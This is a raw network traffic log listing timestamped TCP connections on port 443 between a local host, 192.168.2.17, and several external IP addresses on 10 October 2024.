Oct 10, 2024 18:00:20.449125051 CEST	49714	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:20.449143887 CEST	443	49714	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:20.449176073 CEST	49714	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:20.449191093 CEST	49714	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:20.450880051 CEST	49716	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:20.450926065 CEST	443	49716	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:20.451015949 CEST	49716	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:20.451203108 CEST	49716	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:20.451220036 CEST	443	49716	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:20.506397963 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:20.507852077 CEST	49715	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:20.507891893 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:20.507904053 CEST	49715	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:20.507909060 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:20.507941008 CEST	49715	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:20.507949114 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:20.897736073 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:20.897759914 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:20.897787094 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:20.897825956 CEST	49715	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:20.897849083 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:20.897861958 CEST	49715	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:20.898238897 CEST	49715	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:20.898245096 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:20.898255110 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:20.898262978 CEST	49715	443	192.168.2.17	40.126.32.138
Oct 10, 2024 18:00:20.898277998 CEST	443	49715	40.126.32.138	192.168.2.17
Oct 10, 2024 18:00:21.081013918 CEST	443	49716	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:21.081604958 CEST	49716	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:21.081620932 CEST	443	49716	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:21.081991911 CEST	443	49716	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:21.082356930 CEST	49716	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:21.082427025 CEST	443	49716	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:21.082540035 CEST	49716	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:21.123409986 CEST	443	49716	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:21.397396088 CEST	443	49716	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:21.398197889 CEST	443	49716	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:21.398258924 CEST	49716	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:21.399261951 CEST	49716	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:21.399286032 CEST	443	49716	142.250.186.132	192.168.2.17
Oct 10, 2024 18:00:21.399296045 CEST	49716	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:21.399328947 CEST	49716	443	192.168.2.17	142.250.186.132
Oct 10, 2024 18:00:21.601516008 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:21.601542950 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:21.601762056 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:21.601864100 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:21.601874113 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:22.336683989 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:22.336973906 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:22.336994886 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:22.338079929 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:22.338399887 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:22.339149952 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:22.339301109 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:22.339343071 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:22.383404970 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:22.385087013 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:22.385114908 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:22.432157993 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.568036079 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.584558964 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.584573030 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.584608078 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.584619999 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.584839106 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.584853888 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.584865093 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.584871054 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.585062981 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.586270094 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.586280107 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.586302042 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.586338043 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.589283943 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.589293003 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.589493036 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.591747046 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.591754913 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.591784954 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.591912985 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.591912985 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.591921091 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.593586922 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.593601942 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.593729973 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.593755960 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.594463110 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.595801115 CEST	49717	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.595810890 CEST	443	49717	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.701760054 CEST	49720	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.701797009 CEST	443	49720	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.703068018 CEST	49720	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.703799963 CEST	49720	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:23.703809977 CEST	443	49720	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:23.715492010 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:23.715492010 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:23.715595007 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:23.715629101 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:23.718808889 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:23.718808889 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:23.719333887 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:23.719335079 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:23.719408035 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:23.719453096 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.187272072 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.188802004 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.188832998 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.189924955 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.190112114 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.193856001 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.194021940 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.194057941 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.227850914 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.228693962 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.228719950 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.229868889 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.229984045 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.230389118 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.230458021 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.235405922 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.243082047 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.243103981 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.275434971 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.275444984 CEST	443	49722	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.292732000 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.323807955 CEST	49722	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.446899891 CEST	443	49720	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:24.447293997 CEST	49720	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:24.447323084 CEST	443	49720	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:24.447729111 CEST	443	49720	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:24.451080084 CEST	49720	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:24.451153994 CEST	443	49720	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:24.451265097 CEST	49720	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:24.491409063 CEST	443	49720	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:24.498723030 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 10, 2024 18:00:24.800081015 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 10, 2024 18:00:24.837156057 CEST	443	49720	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:24.837627888 CEST	443	49720	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:24.837688923 CEST	49720	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:24.838130951 CEST	49720	443	192.168.2.17	185.179.27.104
Oct 10, 2024 18:00:24.838152885 CEST	443	49720	185.179.27.104	192.168.2.17
Oct 10, 2024 18:00:24.887252092 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.887310982 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.887351990 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.887393951 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.887406111 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.887443066 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.887455940 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.887463093 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.887506962 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.887514114 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.887547016 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.887594938 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.888067007 CEST	49721	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:24.888082027 CEST	443	49721	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:24.915896893 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:24.915927887 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:24.916683912 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:24.916734934 CEST	443	49725	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:24.916812897 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:24.916822910 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:24.916822910 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:24.916846991 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:24.917047024 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:24.917062044 CEST	443	49725	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:25.402127028 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 10, 2024 18:00:25.438690901 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.439038038 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.439055920 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.440228939 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.440584898 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.441284895 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.441385984 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.441395044 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.455313921 CEST	443	49725	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:25.455610991 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.455635071 CEST	443	49725	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:25.456717014 CEST	443	49725	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:25.456800938 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.457611084 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.457696915 CEST	443	49725	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:25.457747936 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.482065916 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.482098103 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.499413013 CEST	443	49725	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:25.512065887 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.512098074 CEST	443	49725	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:25.528594017 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.560312986 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.581077099 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.581129074 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.581161022 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.581192970 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.581224918 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.581254959 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.581281900 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.581314087 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.581314087 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.581324100 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.581340075 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.581372976 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.581518888 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.581614017 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.581811905 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.581820011 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.597207069 CEST	443	49725	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:25.597392082 CEST	443	49725	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:25.597481012 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.597687960 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.597709894 CEST	443	49725	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:25.597723007 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.597764015 CEST	49725	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.599112988 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.599137068 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:25.599225998 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.599438906 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:25.599448919 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:25.623094082 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.668103933 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.668175936 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.668248892 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.668262005 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.668457985 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.668487072 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.668555975 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.668562889 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.668698072 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.668853998 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.668900013 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.669214964 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.669222116 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.669471979 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.669503927 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.669517994 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.669524908 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.669606924 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.670145035 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.670195103 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.670248032 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.670254946 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.670342922 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.670371056 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.670401096 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.670408010 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.670578003 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.671363115 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.671463013 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.671499014 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.671585083 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.671591997 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.671664000 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.673517942 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.718136072 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.756073952 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.756123066 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.756208897 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.756246090 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.756258965 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.756632090 CEST	49724	443	192.168.2.17	104.17.24.14
Oct 10, 2024 18:00:25.756642103 CEST	443	49724	104.17.24.14	192.168.2.17
Oct 10, 2024 18:00:25.768971920 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:25.769006014 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:25.769098043 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:25.769298077 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:25.769315004 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.093230009 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.093743086 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.093770981 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.094115019 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.094404936 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.094485998 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.094526052 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.139408112 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.149112940 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.257560968 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.257610083 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.257657051 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.257709026 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.257848978 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.257848978 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.257848978 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.257875919 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.258300066 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.258332014 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.258352041 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.258359909 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.258407116 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.258413076 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.260744095 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.261004925 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.261030912 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.262073040 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.262140989 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.262433052 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.262504101 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.262577057 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.262587070 CEST	443	49727	104.17.25.14	192.168.2.17
Oct 10, 2024 18:00:26.262602091 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.262655973 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.262661934 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.308084965 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.308219910 CEST	49727	443	192.168.2.17	104.17.25.14
Oct 10, 2024 18:00:26.344111919 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.344358921 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.344405890 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.344417095 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.344439983 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.344484091 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.344652891 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.345021009 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.345051050 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.345077991 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.345078945 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.345088959 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.345120907 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.345626116 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.345679045 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.345681906 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.345690966 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.345729113 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.345913887 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.346585035 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.346611023 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.346637011 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.346643925 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.346681118 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.346716881 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.346764088 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.346790075 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.346801996 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.346807003 CEST	443	49726	104.18.95.41	192.168.2.17
Oct 10, 2024 18:00:26.346843004 CEST	49726	443	192.168.2.17	104.18.95.41
Oct 10, 2024 18:00:26.347532034 CEST	443	49726	104.18.95.41	192.168.2.17
